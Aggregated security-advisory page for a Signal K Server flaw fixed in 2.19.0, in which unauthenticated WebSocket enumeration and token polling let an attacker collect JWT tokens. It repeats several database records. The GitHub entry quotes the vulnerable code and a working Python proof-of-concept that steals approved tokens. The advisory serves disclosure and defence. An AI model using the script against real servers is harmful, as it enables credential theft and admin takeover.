Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues.

Source published

1 Jan 2026 18:29:35 UTC

Source modified

2 Jan 2026 18:58:28 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues.

Source published

Jan 1, 2026, 6:29:35 PM (timezone not stated)

Source modified

Jan 2, 2026, 6:58:28 PM (timezone not stated)

Observed here

11 Nov 2026 04:35:51 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues.

Source published

1 Jan 2026 19:15:53 UTC

Source modified

7 Oct 2026 11:10:00 UTC

Observed here

25 Oct 2026 04:17:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. **Unauthenticated WebSocket Request Enumeration**: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. **Unauthenticated Token Polling**: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities: 1. The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token. 2. The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. ### Affected Code **File**: `src/events.ts` (lines 40-43) ```typescript Object.keys(app.lastServerEvents).forEach((propName) => { spark.write(app.lastServerEvents[propName]) }) ``` All cached server events, including `ACCESS_REQUEST`, are sent to any connected WebSocket client without permission checks. **File**: `src/tokensecurity.js` (lines 946-948) ```javascript strategy.getAccessRequestsResponse = () => { return filterRequests('accessRequest', 'PENDING') } ``` This function returns all pending requests with full details, which is then broadcast as a server event. **File**: `src/requestResponse.js` (lines 108-135) ```javascript function createReply(request, state, props) { const reply = { state: state, requestId: request.requestId } if (request.updateCb) { props.forEach((prop) => { if (typeof request[prop] !== 'undefined') { reply[prop] = request[prop] // Includes 'token' when approved } }) } return reply } ``` When an access request transitions to COMPLETED state with APPROVED permission, the token is included in the reply object. **File**: `src/interfaces/rest.js` (endpoint registration) The `/signalk/v1/access/requests/:id` endpoint uses readonly authentication, allowing unauthenticated access when `allow_readonly` is true. ### Impact An attacker can obtain any JWT token issued by the server without authentication. By exploiting the social engineering vulnerability to request admin permissions, they receive a fully privileged admin token granting access to all protected endpoints including package installation, effectively bypassing authentication entirely. Additionally, attackers can hijack legitimate device credentials by stealing tokens intended for real devices. ### PoC ```python import json, websocket, requests, time TARGET_IP, TARGET_PORT = "localhost", 3000 TARGET_WS = f"ws://{TARGET_IP}:{TARGET_PORT}" TARGET_HTTP = f"http://{TARGET_IP}:{TARGET_PORT}" def poll_for_token(request_id, href): print(f"[*] Polling started for request {request_id}") url = f"{TARGET_HTTP}{href}" while True: try: r = requests.get(url) if r.status_code == 200: data = r.json() state = data.get("state") print(f"[.] Request {request_id} state: {state}") if state == "COMPLETED": access_req = data.get("accessRequest", {}) permission = access_req.get("permission") token = access_req.get("token") print(f"[*] Request completed - Permission: {permission}, Token present: {bool(token)}") if token: print(f"[+] TOKEN STOLEN") print(f"[+] Permission: {permission}") print(f"[+] JWT Token: {token}") return token else: print(f"[-] Request {request_id} denied or no token") return None else: print(f"[-] HTTP {r.status_code} for request {request_id}") except Exception as e: print(f"[-] Error polling {request_id}: {e}") time.sleep(5) def monitor_and_steal_tokens(): uri = f"{TARGET_WS}/signalk/v1/stream?serverevents=all" print(f"[*] Connecting to {uri}") ws = websocket.create_connection(uri) print("[+] Connected, monitoring for ACCESS_REQUEST events...") while True: message = ws.recv() msg = json.loads(message) if msg.get("type") == "ACCESS_REQUEST": print("[+] ACCESS_REQUEST event received!") data = msg.get("data", []) if data: req = data[0] request_id = req.get('requestId') permissions = req.get('clientRequest', {}).get('permissions') href = req.get('href', f'/signalk/v1/requests/{request_id}') print(f"[*] Found request: {request_id}") print(f"[*] Closing WebSocket and starting polling...") ws.close() poll_for_token(request_id, href) break if __name__ == "__main__": monitor_and_steal_tokens() ``` ### Recommendations 1. Require strict authentication for all WebSocket channels. The `serverevents=all` parameter should only be accessible to authenticated admin users. Unauthenticated or readonly users should not receive any server events. 2. Place `ACCESS_REQUEST` events behind strict authentication. Even if other server events are available to readonly users, access request details must only be sent to authenticated administrators. 3. Implement client verification so only the original requester can retrieve their token 4. Consider delivering tokens through a separate secure channel rather than the polling endpoint

Source published

2 Jan 2026 15:28:54 UTC

Source modified

3 Feb 2026 03:14:43 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Publisher rating · CRITICAL